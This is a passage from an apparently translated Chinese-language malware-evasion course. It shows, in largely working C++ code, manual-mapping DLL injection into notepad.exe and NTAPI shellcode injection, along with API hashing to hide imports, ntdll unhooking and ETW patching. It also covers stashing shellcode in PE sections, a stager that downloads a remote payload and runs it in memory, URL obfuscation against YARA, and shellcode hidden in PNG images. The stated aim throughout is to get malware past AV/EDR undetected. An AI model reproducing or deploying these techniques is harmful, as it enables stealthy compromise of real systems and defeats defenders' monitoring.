DWORD pid = GetTargetPID("notepad.exe"); // 使用ToolHelp API获取进程ID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::cerr << "Failed to open target process\n";
return -1;
}

第3步:为DLL图像分配内存

1
2
3
4
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllBuffer.data() + ((PIMAGE_DOS_HEADER)dllBuffer.data())->e_lfanew);
SIZE_T imageSize = nt->OptionalHeader.SizeOfImage;

LPVOID remoteImage = VirtualAllocEx(hProcess, NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

第4步:写入头文件和段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// 写入PE头
WriteProcessMemory(hProcess, remoteImage, dllBuffer.data(), nt->OptionalHeader.SizeOfHeaders, NULL);

// 写入各个段
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
LPVOID remoteSectionAddr = (BYTE*)remoteImage + section[i].VirtualAddress;
LPVOID localSectionAddr = dllBuffer.data() + section[i].PointerToRawData;

WriteProcessMemory


(hProcess, remoteSectionAddr, localSectionAddr, section[i].SizeOfRawData, NULL);
}

````

---

#### **第5步:构建并注入加载器stub**

```cpp
DWORD WINAPI LoaderStub(LPVOID lpParameter) {
LPVOID baseAddress = lpParameter;
// 修复重定位...
// 解析导入...
// 调用入口点(DllMain)

auto nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + ((PIMAGE_DOS_HEADER)baseAddress)->e_lfanew);
auto entryPoint = (FARPROC)((BYTE*)baseAddress + nt->OptionalHeader.AddressOfEntryPoint);

typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
((DLLMAIN)entryPoint)((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, NULL);

return 0;
}
````

---

#### **第6步:创建远程线程执行stub**

```cpp
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)((BYTE*)remoteImage + loaderOffset), // 加载器stub的地址
remoteImage, // 参数:DLL的基址
0, NULL);

您还可以使用 NtCreateThreadEx 进行更隐蔽的注入。


高级增强:

  • **基于系统调用的 VirtualAllocEx / WriteProcessMemory**:使用直接的系统调用包装器避免检测

  • 在当前进程中解除NTDLL钩子:防止系统调用stubs被拦截

  • PPID伪装:在注入前伪装目标进程的父进程

  • ETW修补:注入前修补ETW,进一步提高隐蔽性

  • 内存中的DLL加密:加密DLL直到加载器运行


实际应用案例:

  • **Cobalt Strike的 Beacon.dll**:通过手动映射注入牺牲进程

  • Metasploit的Meterpreter注入:使用反射加载技术,结构类似

  • APT恶意软件如FIN7 和 APT29:使用加密DLL和自定义加载器绕过EDR


检测技术(蓝队警觉性):

技术 检测方法
RWX内存区域 由EDR监控(如通过ETW)
DLL不在模块列表中 通过EnumProcessModules不匹配检测
线程上下文异常 入口点与已知模块不匹配
内存扫描工具 检查私有内存中的PE头

为了规避这些,结合以下技术使用:

  • 内存补丁

  • 混淆的PE结构

  • 加密负载+分阶段解密

3.6 - 仅使用NTAPI的Stagers

目标:

使用直接的NTAPI(本地API)函数,代替标准的Win32 API(如 LoadLibraryCreateRemoteThread),绕过EDR中通常设置的API钩子,这些钩子通常存在于 kernel32.dlladvapi32.dll 等库中。


为什么选择NTAPI?

  • NTAPI函数位于ntdll.dll中,通常未被钩取(或更容易解除钩取)。

  • 大多数AV/EDR钩取较高层次的WinAPI,如 OpenProcessWriteProcessMemory 等。

  • 使用NTAPI可以减少遥测数据并提高隐蔽性,尤其是在结合未被钩取的ntdll时。


示例:基于NTAPI的远程Shellcode注入

我们将使用NtOpenProcessNtAllocateVirtualMemoryNtWriteVirtualMemoryNtCreateThreadEx 注入Shellcode到远程进程中。


逐步实现NTAPI注入(C++)

注意:此代码需要链接 ntdll.lib 或动态解析系统调用stubs。


第1步:定义NTAPI原型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef NTSTATUS(WINAPI* pNtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);

typedef NTSTATUS(WINAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);

typedef NTSTATUS(WINAPI* pNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG BufferSize,
PULONG NumberOfBytesWritten
);

typedef NTSTATUS(WINAPI* pNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);

第2步:运行时解析函数地址

1
2
3
4
5
6
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

第3步:定位目标进程(例如Notepad)

1
2
3
4
5
6
7
8
9
10
DWORD pid = GetTargetPID("notepad.exe");
HANDLE hProcess;
CLIENT_ID clientId = { (HANDLE)pid, 0 };
OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES), NULL, NULL, 0, NULL, NULL };

NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (status != 0) {
std::cerr << "NtOpenProcess failed\n";
return -1;
}

第4步:分配内存并写入Shellcode

1
2
3
4
5
6
unsigned char shellcode[] = { /* msfvenom 或 CobaltStrike Shellcode */ };

PVOID remoteAddr = NULL;
SIZE_T size = sizeof(shellcode);
NtAllocateVirtualMemory(hProcess, &remoteAddr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, remoteAddr, shellcode, sizeof(shellcode), NULL);

第5步:使用 NtCreateThreadEx 创建线程

1
2
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, remoteAddr, NULL, FALSE, 0, 0, 0, NULL);

为什么这个方法能够规避AV/EDR:

  • 不使用 kernel32 API,如 OpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread,这些通常是EDR监控的目标。

  • 没有可见的可疑导入,静态分析中无法看到这些调用。

  • 系统调用路径保持本地,减少了API级的遥测。

  • 绕过了EDR在 kernel32.dll 中设置的API钩子,避免了被监控和记录。


实际案例:

  • Cobalt Strike的 beacon.dll 加载器使用此方法的变种进行注入。

  • APT29恶意软件 直接使用 NtWriteVirtualMemoryNtCreateThreadEx 进行注入。

  • 现代加载器 使用加密的系统调用或直接的系统调用来混淆这些操作,避免被EDR捕捉。


提升隐蔽性的增强技术:

  • 加密Shellcode,并在内存中解密,避免Shellcode被静态分析发现。

  • 使用 NtCreateThreadEx 中的属性列表伪装PPID,让目标进程看起来不像被注入的进程。

  • 直接使用系统调用,例如通过Hell’s Gate / SysWhispers2等技术,进一步隐藏系统调用。

  • 注入前绕过ETW,避免ETW日志被触发。

  • 在执行注入逻辑前解除 ntdll 的钩子,确保系统调用不会被拦截。

通过这些手段,可以在更高的隐蔽性和更低的风险下执行恶意注入,成功绕过多数EDR系统的检测。

3.7 - IAT钩取与隐藏

目标:

理解恶意软件分析师和EDR如何通过检查导入地址表(IAT)来追踪执行,并学习如何动态解析或混淆API使用,从而防止静态和动态检测。


什么是IAT?

导入地址表(IAT)是PE(便携式可执行文件)中的一个结构,存储了从DLL导入的函数指针。加载器在运行时会填充这个表格。

示例:

如果您的恶意软件导入了CreateFileA,那么IAT中将包含指向该函数的指针,且该指针在运行时被解析。

EDR和静态分析器:

  • 解析IAT以查看您的二进制文件使用了哪些API。

  • 基于此信息进行启发式分析签名检测

  • 钩取IAT条目以拦截函数调用。


基于IAT的EDR检测:

  • 静态检测:如果您的二进制文件导入了如VirtualAllocExCreateRemoteThreadNtCreateThreadEx等可疑API,这将成为一个警告信号。

  • 动态检测:IAT条目上设置的钩子可以实时记录和分析参数。


规避策略:通过运行时API解析绕过IAT

目标:避免在编译时将可疑API包含到IAT中。

相反,使用LoadLibraryGetProcAddress动态解析这些API。


示例代码(C++) - 动态API解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <windows.h>
#include <iostream>

int main() {
// 动态加载 kernel32.dll
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
if (!hKernel32) {
std::cerr << "Failed to load kernel32.dll" << std::endl;
return 1;
}

// 动态解析 VirtualAlloc
FARPROC pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
if (!pVirtualAlloc) {
std::cerr << "Failed to resolve VirtualAlloc" << std::endl;
return 1;
}

// 调用 VirtualAlloc,而不在IAT中显示
void* p = ((LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))pVirtualAlloc)(
NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

std::cout << "Allocated memory at: " << p << std::endl;

return 0;
}

为什么有效:

  • VirtualAlloc不出现在IAT中

  • 静态分析工具不会基于导入信息标记您的二进制文件

  • 通过在运行时解析API,您绕过了IAT钩子


进一步的规避:基于哈希的API解析

为了进一步绕过基于字符串的检测,您可以通过哈希API名称并手动解析它们。


基于哈希的示例:

1
2
3
4
5
6
7
DWORD hash(const char* str) {
DWORD h = 0;
while (*str) {
h = ((h << 5) + h) + *str++;
}
return h;
}

然后,通过哈希值匹配解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FARPROC ResolveAPIByHash(HMODULE hMod, DWORD hashValue) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dosHeader->e_lfanew);

DWORD importDirRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hMod + importDirRVA);

DWORD* nameArray = (DWORD*)((BYTE*)hMod + exportDir->AddressOfNames);
WORD* ordArray = (WORD*)((BYTE*)hMod + exportDir->AddressOfNameOrdinals);
DWORD* funcArray = (DWORD*)((BYTE*)hMod + exportDir->AddressOfFunctions);

for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
const char* name = (const char*)hMod + nameArray[i];
if (hash(name) == hashValue) {
WORD ordinal = ordArray[i];
return (FARPROC)((BYTE*)hMod + funcArray[ordinal]);
}
}
return NULL;
}

为什么有效:

  • AV/EDR无法在内存中匹配诸如VirtualAllocWriteProcessMemory等字符串

  • 恶意软件变得更加多态

  • API名称可以被加密、哈希或混淆


高级:IAT混淆或清除

您还可以通过修改或清除IAT来增强隐蔽性:

  • 0x00000000或垃圾值覆盖函数指针

  • 在运行时移除或加密导入节,解析所需的API后

这通常需要构建自定义的PE加载器或使用打包器。


实际应用:

  • Cobalt Strike的Shellcode加载器通过手动解析LoadLibraryAGetProcAddress来避免IAT

  • MeterpreterEmpire代理通过动态解析API来避开静态检测

  • FIN7恶意软件广泛使用IAT清除和API哈希以绕过沙箱检测


结论:

  • 基于IAT的检测非常强大,但是可以规避的

  • 避免静态导入是规避AV/EDR的关键

  • 动态解析和API哈希提供了强大的隐蔽性

  • 结合内存解除钩取系统调用,可以实现完全规避

通过动态解析API和混淆技术,恶意软件可以显著降低被检测的风险,绕过传统的IAT检查机制,从而增强其在面对EDR和AV系统时的生存能力。

3.8 - API钩取规避:用户态与内核级

概述:

EDR通过在用户态内核级实施API钩取来监控、修改或阻止可疑行为。这包括:

  • 用户态钩取:通过DLL实现(例如,EDR注入到用户进程中)。

  • 内核级钩取:放置在SSDT(系统服务描述符表)、IRP处理程序或回调函数中。

理解这些机制对于开发规避技术至关重要。


用户态钩取:

定义:

  • EDR将DLL注入进程

  • 覆盖函数的前几条指令(内联钩取)

  • 钩取如CreateRemoteThreadVirtualAllocExWriteProcessMemory等函数

钩取示例:

内联钩取通过修改函数的前几条字节(通常是5个字节的JMP指令)来重定向执行:

1
2
3
4
5
6
7
; 原始函数前言
mov edi, edi
push ebp
mov ebp, esp

; 钩取后的版本
jmp 0xDEADBEEF ; 跳转到EDR的日志代码

如何检测用户态钩取:

您可以比较内存中的函数指针和DLL中的磁盘版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <Windows.h>
#include <iostream>

bool IsHooked(const char* moduleName, const char* functionName) {
HMODULE hModule = GetModuleHandleA(moduleName);
FARPROC inMem = GetProcAddress(hModule, functionName);

// 从磁盘读取
char path[MAX_PATH];
GetModuleFileNameA(hModule, path, MAX_PATH);
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return false;

HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID lpBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + dos->e_lfanew);

DWORD rva = (DWORD)((BYTE*)inMem - (BYTE*)hModule);
DWORD fileOffset = 0;

PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
if (rva >= section[i].VirtualAddress &&
rva < section[i].VirtualAddress + section[i].SizeOfRawData) {
fileOffset = rva - section[i].VirtualAddress + section[i].PointerToRawData;
break;
}
}

BYTE memBytes[16] = { 0 };
memcpy(memBytes, inMem, sizeof(memBytes));

BYTE diskBytes[16] = { 0 };
memcpy(diskBytes, (BYTE*)lpBase + fileOffset, sizeof(diskBytes));

bool hooked = memcmp(memBytes, diskBytes, sizeof(memBytes)) != 0;

CloseHandle(hMap);
CloseHandle(hFile);
return hooked;
}

int main() {
if (IsHooked("kernel32.dll", "VirtualAlloc")) {
std::cout << "VirtualAlloc is hooked!" << std::endl;
} else {
std::cout << "VirtualAlloc is clean." << std::endl;
}
}

规避用户态钩取:

选项 1:使用系统调用

避免使用高级Windows API,转而使用本地系统调用(syscalls)

在第2.7节中我们已经详细探讨过这个技巧。


选项 2:DLL的手动映射

加载一个干净的DLL副本到内存并自己解析API地址。

步骤:

  1. 从磁盘读取DLL

  2. 手动映射到内存(不使用LoadLibrary)

  3. 手动解析PE结构

  4. 解析导出并使用干净的函数

Reflective DLL InjectionPE-sieveHollowsHunter等工具使用了类似的原理。


内核级钩取

定义:

  • 通过驱动程序实现

  • 钩取系统服务,如SSDT、IRP处理程序和回调函数,监控进程/线程/映像/加载事件

SSDT钩取示例(概念性)

在Windows内核中:

  • 系统调用表(SSDT)包含系统服务的指针

  • 恶意软件或EDR可以将表项替换为其自己的处理程序

1
2
3
// 驱动中的伪代码
OldZwOpenProcess = KeServiceDescriptorTable->ServiceTable[ZwOpenProcessIndex];
KeServiceDescriptorTable->ServiceTable[ZwOpenProcessIndex] = MyHook;

检测SSDT钩取:

使用以下工具进行检测:

  • GMER

  • WinDbg与内核符号

  • PE-sieve(支持驱动程序)


规避内核级钩取:

  1. 直接系统调用:避免完全绕过API层,直接使用系统调用

  2. DKOM(直接内核对象操作):更为复杂的根kit级方法

  3. 影子SSDT / ETW绕过:更高级的方法(在后续模块中详细讨论)


实际案例

FIN7 / Carbanak

  • 通过哈希解析所有API

  • 避免了IAT和钩取的API

  • 使用内联系统调用包装器调用NtWriteVirtualMemoryNtCreateThreadEx

Cobalt Strike (Beacon)

  • 使用系统调用和手动映射

  • 包括EDR卸载工具和带有修补版ntdll的shellcode加载器

Sliver C2 / Havoc

  • 提供系统调用混淆

  • 手动PE注入并支持用户态卸载


结论

  • EDR高度依赖API钩取,尤其是在用户态层。

  • 您可以通过直接系统调用、手动映射或恢复原始字节来绕过用户态钩取。

  • 内核级钩取更难规避,但通过仅使用系统调用、DKOM和其他隐蔽技术可以实现规避。

Here’s the translated version of your content:


模块 4:Shellcode 和有效载荷 – PE 部分、远程有效载荷托管和基于图像的注入

4.1 - 在规避中的PE节理解读(.text、.data、.rdata)

可移植可执行文件(PE)格式是Windows识别和加载可执行文件(.exe)和动态链接库(.dll)的方式。了解如何操控或滥用这些节对于恶意软件作者和红队成员在避免被检测时至关重要。


关键PE节概述

描述
.text 包含程序的可执行指令,通常标记为PAGE_EXECUTE_READ。
.data 存储已初始化的全局和静态变量,具有读写权限的内存。
.rdata 只读数据,通常包括字符串字面量、常量以及导入地址表(IAT)。
.bss 存储未初始化的全局/静态变量,在文件中不占空间,但会在内存中分配。
.rsrc 用于存储应用程序资源,如图标、版本信息、位图、对话框等。

EDR如何利用这些信息

AV/EDR引擎通常认为.text节包含可执行逻辑。如果shellcode出现在.data.rdata或动态分配的内存中,它可能绕过初步的静态分析启发式检测——尤其是在没有与已知恶意API流或签名相关联时。


用例1:在.data节中注入Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>
#include <stdio.h>

// Shellcode有效负载(例如,用msfvenom生成的MessageBox有效负载)
unsigned char payload[] = {
0x90, 0x90, 0x90, // NOPs(用于填充)
// 真实的shellcode
};

// 存储在.data节中,而不是.text节
void execute_payload() {
// 分配带有执行权限的内存
void *exec_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (!exec_mem) {
printf("VirtualAlloc失败。\n");
return;
}

// 将shellcode复制到分配的内存中
memcpy(exec_mem, payload, sizeof(payload));

// 执行有效负载
((void(*)())exec_mem)(); // 转换为函数并调用
}

解释:

  • 该代码将有效负载存储在.data节中,避免了.text节。

  • 一些AV可能在静态签名扫描时跳过.data节。

  • 执行是通过VirtualAlloc动态发生的,这是一种常见的策略。


用例2:在.rdata中隐藏字符串

1
2
// 只读字符串——属于.rdata节的一部分
const char *url = "http://malicious-domain.com/payload.bin";

恶意软件可以通过以下方式对其进行混淆:

  • 将字符串分割为若干部分

  • 对其进行编码(例如,Base64、XOR)

  • 使用strcatsprintf在运行时构建

EDR通常会监控.rdata.text中的可疑常量。动态生成有助于规避检测。


用例3:在运行时修改内存权限

现代Windows PE加载器强制执行DEP(数据执行保护),但通过正确调用VirtualAllocNtProtectVirtualMemory可以覆盖这一保护。

1
2
3
DWORD oldProtect;
VirtualProtect(&payload, sizeof(payload), PAGE_EXECUTE_READWRITE, &oldProtect);
((void(*)())payload)();

在此示例中:

  • 无需分配新内存;shellcode直接从.data节执行。

  • 直接调整内存保护。

  • 一些AV无法追踪内存保护与内联执行的组合,特别是在经过混淆的情况下。


真实案例:Cobalt Strike伪装

Cobalt Strike通常通过反射加载器交付shellcode:

  • 嵌入在PE的.rdata.data节中

  • 加密后在运行时解密

  • 使用CreateThreadNtCreateThreadEx或直接syscall等技术执行

有效负载从不存储在最终二进制文件的.text节中。


进阶:为有效负载创建自定义PE节

一些恶意软件作者进一步添加了自定义节(例如.evil.stub),并将shellcode放置其中。

为什么?

  • 避免默认节的检测启发式扫描

  • 将shellcode隐藏在看似未使用或加密的节中

创建自定义节需要编辑PE头文件,并使用链接器脚本或二进制修补工具,如PE-bear或CFF Explorer。


总结

在恶意软件规避中的用途
.text 现代规避恶意软件中很少用于有效负载,因为太过明显。
.data 常用于shellcode,尤其是当内存保护被动态修改时。
.rdata 用于存储加密的shellcode或数据,如URLs、密钥。
自定义 恶意软件作者添加的节,用于隐藏shellcode,避开静态扫描。

1. 手动节注入(例如,.evil.xyz

你可以修改已编译的PE文件,使用如PE-bearCFF Explorer等工具插入新的节。

步骤:

  1. 在PE-bear中打开PE文件。

  2. 添加一个带有PAGE_EXECUTE_READWRITE标志的新节。

  3. 将加密或编码的shellcode附加到该节。

  4. 在加载器中使用VirtualProtectNtProtectVirtualMemory解密并执行它。

为什么有效:

  • 大多数静态扫描工具仅分析.text.rdata和已知入口点。

  • 一个名为.xyz的节,其中包含无法读取的内容(经过熵混淆),通常会被忽略或没有深入分析。


2. 通过节重定位规避YARA规则

YARA规则可能会寻找.text.rdata中的字符串模式。你可以通过以下方式打破此规则:

1
2
3
4
5
6
7
8
9
10
11
char part1[] = "http";
char part2[] = "://";
char part3[] = "evil.site/payload";
char full_url[64];

void obfuscate_string() {
strcpy(full_url, part1);
strcat(full_url, part2);
strcat(full_url, part3);
// 现在可以使用full_url来获取远程有效负载
}

甚至更好,可以动态编码和解码:

1
2
3
4
5
6
7
8
char encoded[] = { 'k', 'i', 'l', 'l' ^ 0x23, 0x00 };

void decode() {
for (int i = 0; i < strlen(encoded); ++i) {
encoded[i] ^= 0x23;
}
// 现在encoded包含真实的字符串
}

检测规避:

  • 防止基本的YARA签名匹配编码字符串

  • 当存储在.data并从堆中执行时,检测向量进一步收窄


3. 完全基于内存的执行(无修改节)

通过反射DLL注入或shellcode加载器,你可以:

  • 将有效负载嵌入资源(而不是.text.data

  • 使用LoadLibraryGetProcAddress动态加载它

  • 使用NtAllocateVirtualMemoryNtWriteVirtualMemory模拟VirtualAllocmemcpy,而不使用AV/EDR监控的API

示例:从内存加载PE

1
2
3
4
5
6
7
8
9
10
// 这是简化版,真实的反射加载器更复杂
void* LoadReflectivePE(BYTE* payload) {
// 为有效负载分配内存
void* mem = VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (mem) {
memcpy(mem, payload, payload_size);
((void(*)())mem)(); // 调用加载的PE
}
}

结果:

  • 从不写入磁盘

  • 节点在内存中重建

  • 从内存映射缓冲区开始执行——AV更难追踪


4. 真实世界案例:Astaroth恶意软件

Astaroth恶意软件(以无文件技术著称):

  • .rdata中投放有效负载,并进行混淆

  • 使用WMICBitsadmin通过LOLBin执行代码

  • 使用节映射技巧反射加载模块,而不执行.text中的代码


5. 用于节检查和修

补的工具**

工具 描述
PE-bear 高级PE文件静态分析器,能够添加/编辑/删除节。
CFF Explorer 用于可视化编辑PE头、导入表和节的工具。
LordPE 旧但强大的节管理和RVA修补工具。
custom pe_parser.py 使用Python和pefile解析、读取、修改PE头和节。

使用pefile(Python)示例:

1
2
3
4
5
6
7
8
import pefile

pe = pefile.PE("sample.exe")

for section in pe.sections:
print(section.Name, hex(section.VirtualAddress), hex(section.Misc_VirtualSize))

# 这里可以添加或重命名节(例如,将.text改为.text2)

6. 节头错位

一些恶意软件作者通过修改SectionAlignmentFileAlignment值来打破反汇编器或迷惑AV解析器。
其他人则隐藏有效负载于重叠的节中,或在relocdebug段内。


结论

滥用PE节是AV/EDR规避的核心策略之一。你可以:

  • 将有效负载隐藏在.data.rdata或新自定义的节中

  • 完全避免.text,以防触发静态检测

  • 动态解码字符串和有效负载

  • 纯粹从内存中加载和执行有效负载(无文件)

  • 修改PE头和对齐方式以规避反汇编器

当结合以下内容时,这些知识变得更有力量:

  • 手动修补工具

  • YARA分析规避

  • 运行时解密

  • 间接系统调用和API卸载

Here’s the translated version of your content:


4.2 - 远程有效负载托管与执行

主题聚焦:将有效负载托管在远程服务器上,通过下载并在内存中执行来规避检测机制,从而避免磁盘写入。


概述

AV和EDR监控:

  • 磁盘活动(CreateFileWriteFile

  • 进程创建

  • 内存分配模式

为了绕过这些监控,恶意软件通常:

  • 将有效负载托管在远程服务器上

  • 动态下载

  • 在内存中加载并执行(反射执行或手动映射)

这种技术通常被称为无文件执行


1. 托管有效负载

你可以将shellcode或PE有效负载托管在以下位置:

  • HTTP/HTTPS服务器

  • 公共平台(例如,GitHub、Pastebin、Bitbucket)

  • 云服务(例如,Dropbox、OneDrive)

  • 隐蔽通道(例如,图片中的隐写术)

为简便起见,假设使用HTTP服务器:

1
2
# 在本地HTTP服务器上托管payload.bin
python3 -m http.server 8080

2. 下载器存根(Shellcode加载器)代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")

void DownloadAndExecute() {
HINTERNET hInternet, hFile;
DWORD bytesRead;
BYTE buffer[1024 * 1024]; // 1 MB 缓冲区

hInternet = InternetOpen("Updater", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hFile = InternetOpenUrl(hInternet, "http://127.0.0.1:8080/payload.bin", NULL, 0, INTERNET_FLAG_RELOAD, 0);

if (hFile) {
InternetReadFile(hFile, buffer, sizeof(buffer), &bytesRead);
// 为有效负载分配内存
LPVOID exec = VirtualAlloc(0, bytesRead, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, bytesRead);
// 将内存转为函数指针并执行
((void(*)())exec)();
}

InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
}

代码注释:

  • InternetOpenUrl 用于从远程主机读取二进制有效负载。

  • VirtualAlloc 用于为执行分配可读写执行内存。

  • 整个执行过程是无文件的——没有任何东西触及磁盘。

  • 这能够绕过大多数基于签名的AV和沙盒检测。


3. 使用该技术的真实恶意软件

  • Ursnif/Gozi:从受感染的WordPress网站下载加密的有效负载。

  • Emotet:使用Base64和XOR混淆有效负载,通常通过HTTP GET请求以误导的User-Agent进行检索。

  • Cobalt Strike Beacon:当阶段化时,可以通过类似curl的请求在内存中检索。


4. 可选:AES/XOR加密有效负载

为了避免网络级检测(如IDS/IPS或网络级AV引擎),可以将有效负载加密存储在磁盘上,并在下载后在内存中解密。

XOR解密例程:

1
2
3
4
5
void xor_decrypt(BYTE* buf, DWORD len, BYTE key) {
for (DWORD i = 0; i < len; i++) {
buf[i] ^= key;
}
}

InternetReadFile之后,执行之前调用:

1
xor_decrypt(buffer, bytesRead, 0xAA); // XOR密钥

5. 检测规避技术

规避机制 描述
使用WinHttp API代替WinInet EDR监控较少
混淆用户代理和头信息 避免启发式/行为检测引擎的检测
避免静态URL 使用重定向器、pastebin或基于DNS的检索
使用加密的有效负载 隐藏真实意图,避开深度包检测(DPI)
内存执行 防止基于文件的AV扫描

6. 持久化层(可选)

高级技术包括:

  • 从注入的DLL中调用此存根

  • 使用LOLbins如mshtarundll32Regsvr32加载存根加载器

  • 通过WMI、计划任务或注册表键进行分发


7. 支持的有效负载格式

你可以下载并执行以下类型的有效负载:

  • Shellcode(二进制/原始格式)

  • 反射DLL

  • 完整PE文件(如果你编写了自定义加载器)

  • 脚本:PowerShell、JS、HTA、VBS(通过脚本主机执行)


8. 注意事项与建议

  • 使用PAGE_EXECUTE_READWRITEVirtualAlloc会被高级EDR监控。建议在解密后使用VirtualProtect

  • 替换InternetOpen API,使用原始WinHttpSendRequest或甚至直接套接字连接以提高隐蔽性。

  • 避免硬编码字符串。使用如字符串堆叠、编码或通过GetProcAddress动态生成API等技术。


结论

远程有效负载托管与无文件执行是现代攻击操作的基石。它允许:

  • 最小的取证足迹

  • 绕过大多数基于磁盘的检测

  • 动态修改有效负载以避免静态签名

4.3 - 使用ImgPayload将有效负载隐藏在图像文件中

概述

现代的AV/EDR引擎扫描内存区域、磁盘文件和进程行为,查找已知的签名和启发式特征。一个常见的规避方法是将有效负载隐藏在看起来无害的文件中,如图像文件(PNG、JPG)。这允许通过以下方式传递有效负载:

  • 网络钓鱼附件

  • 社会工程学

  • 无文件投递器

本模块介绍了使用隐写术或简单数据隐藏方法将shellcode嵌入图像的技术。我们将使用ImgPayload工具,它是一个专门用来嵌入和提取图像文件中的shellcode的工具。


1 – 将Shellcode嵌入图像

嵌入过程将一个原始的shellcode文件(例如,payload.bin)附加到一个.png图像文件中,同时保持图像的可视性。

命令示例

1
python3 ImgPayload.py -m inject -i input.png -p payload.bin -o stego.png
  • -m inject:嵌入有效负载的模式

  • -i input.png:输入的承载图像

  • -p payload.bin:二进制的shellcode有效负载

  • -o stego.png:输出图像,包含嵌入的有效负载

工作原理(简述)

  • 工具将图像读取为字节数据。

  • 在添加有效负载之前,会添加一个已知的标记(如b"###SHELLCODE###")。

  • 图像仍然可以作为普通图像文件查看。

  • 通过搜索标记,可以提取出有效负载。


2 – 从图像中提取并在内存中执行有效负载(C++)

可以加载隐写图像,扫描标记提取有效负载,并通过典型的shellcode注入方式执行。

提取并执行shellcode的C++代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <windows.h>
#include <iostream>
#include <fstream>
#include <vector>

// ImgPayload使用的标记
const std::string marker = "###SHELLCODE###";

